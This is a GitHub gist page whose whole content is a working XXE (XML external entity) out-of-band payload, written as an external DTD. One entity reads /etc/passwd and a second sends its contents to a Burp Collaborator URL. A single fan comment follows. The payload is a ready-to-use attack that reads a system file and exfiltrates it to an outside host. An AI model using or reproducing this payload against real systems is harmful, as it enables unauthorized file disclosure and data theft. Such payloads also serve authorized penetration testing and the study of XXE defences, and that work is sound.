Skip to content

Instantly share code, notes, and snippets.

@nahamsec
Last active September 9, 2024 15:13
Show Gist options
  • Save nahamsec/b1b8899b49e2eee9d0a85cbc38940e95 to your computer and use it in GitHub Desktop.
Save nahamsec/b1b8899b49e2eee9d0a85cbc38940e95 to your computer and use it in GitHub Desktop.
<!ENTITY % xxePOC SYSTEM "file:///etc/passwd">
<!ENTITY % exfildata "<!ENTITY &#x25; exfil SYSTEM 'http://7u2bvf9vu78d9wepre2c3qmg87e82x.burpcollaborator.net/?x=%xxePOC;'>">
%exfildata;
%exfil;
@djsubstance
Copy link

thx bro. your bada$$.

pls.. checkout my repo.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment